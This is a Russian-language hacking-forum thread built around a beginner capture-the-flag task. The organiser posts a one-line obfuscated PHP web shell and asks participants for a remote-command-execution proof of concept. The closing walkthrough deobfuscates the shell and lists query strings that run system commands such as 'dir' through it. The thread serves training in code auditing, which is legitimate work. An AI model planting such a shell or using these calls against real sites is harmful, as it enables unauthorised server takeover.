Task # (micro)Task#15

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by dooble, 10 Feb 2022.

  1. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    231
    Likes Received:
    601
    Reputations:
    145
    Это задание с минимальным уровнем сложности.
    Безо всяких подвохов, специальных знаний и необходимости включать хакерскую догадку.
    Скорее - практическое занятие, близкое к реальности.

    Вам прислали файл, который был залит во время взлома некоторого сайта (см. аттач).
    И попросили провести аудит.

    Предположительно это мини шелл.
    Нужно подтвердить возможность RCE (удаленного выполнения команд).

    Содержимое файла:
    Code:
    <?=@$_GET[_]==@_&&@$_GET[__]($_GET[___]);
    Задание:
    Составить POC, который выполнит вашу команду через этот файл.
    В ПМ жду урл с параметрами вызова скрипта.

    Срок:
    две недели

    Правила остаются прежними:
    В теме не флудим, подсказки разрешены только от ТС.

    Прошли:
    Skofield

    joelblack
    trololoman96
    WallHack
    Baskin-Robbins
    MichelleBoxing
    lifescore
    st55
    Gasc0igne

    Прохождение
     

    Attached Files:

    #1 dooble, 10 Feb 2022
    Last edited: 24 Feb 2022
    lifescore, st55, WallHack and 5 others like this.
  2. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    231
    Likes Received:
    601
    Reputations:
    145
    Такого простого задания еще не было.
    Одна строчка кода.
    Вот даже трудно придумать хинт, поскольку решается влёт, "в уме".

    Но оно хорошо подойдет тем, кто только начинает.
    Нотация не самая читабельная, отличается от примеров в учебнике, но смысл от этого не исчезает, его просто нужно восстановить.

    В крайнем случае выручат отладочные средства.
     
    Skofield and joelblack like this.
  3. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    231
    Likes Received:
    601
    Reputations:
    145
    В традицию тасков также входит отметиться в топике, если прошел задание.
    Это не обязательное условие, но приятная привилегия :).
     
  4. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    +.
    Хорошее, компактное задание для начинающих.
     
    joelblack likes this.
  5. WallHack

    WallHack Elder - Старейшина

    Joined:
    18 Jul 2013
    Messages:
    306
    Likes Received:
    138
    Reputations:
    33
    Просто и со вкусом :)
     
  6. MichelleBoxing

    MichelleBoxing Reservists Of Antichat

    Joined:
    12 Nov 2018
    Messages:
    19
    Likes Received:
    32
    Reputations:
    57
    особенно интересно, когда решал не правильно скопированное задание )))
    <?=@$_GET[_]==@$_&&@$_GET[__]($_GET[___]);
     
  7. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    231
    Likes Received:
    601
    Reputations:
    145
    Интересная мысль, пофаззить код и поискать решения :).
     
    joelblack likes this.
  8. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
    Решил этот вариант тоже:)
     
  9. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    231
    Likes Received:
    601
    Reputations:
    145
    Ага, но решение получается слегка вырожденное :).
     
  10. lifescore

    lifescore Elder - Старейшина

    Joined:
    27 Aug 2011
    Messages:
    651
    Likes Received:
    511
    Reputations:
    72
    dooble thx за труд и таску! :)
     
  11. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Так в этом ж случае решение ещё короче, потому что ж null, или я чего-то не понимаю?
     
    dooble likes this.
  12. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    231
    Likes Received:
    601
    Reputations:
    145
    Все верно, поэтому и написал, что решение получаем с "вырожденным" множеством параметров.
     
    Skofield likes this.
  13. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    231
    Likes Received:
    601
    Reputations:
    145
    Задание закрыто.

    Прохождение.
    Смотрим еще раз строку кода
    Code:
    <?=@$_GET[_]==@_&&@$_GET[__]($_GET[___]);
    Не очень удобная запись для восприятия, много символов подчеркивания, экономия на кавычках и подавленные варнинги.

    Перепишем так:
    Code:
    $_GET['_']=='_' && $_GET['__']($_GET['___']);
    Подчеркивания допустимо использовать в качестве имени переменной.

    Стало понятнее, "логическое И" (&&) объединяет два выражения, справа - классическое Обращение к функциям через переменные.
    Слева - дополнтельная проверка, что то вроде проверки пароля, примерно такой метакод:
    Code:
    $pass='word';
    $function='system';
    $parameter='whoami';
    
    if($pass == 'word'){
        $function($parameter);
    }
    ФсЁ.

    Соответствено вызовы могут быть такие:
    Code:
    ?_=_&__=phpinfo&___=-1
    ?_=_&__=system&___=dir
    ?_=_&__=printf&___=RCE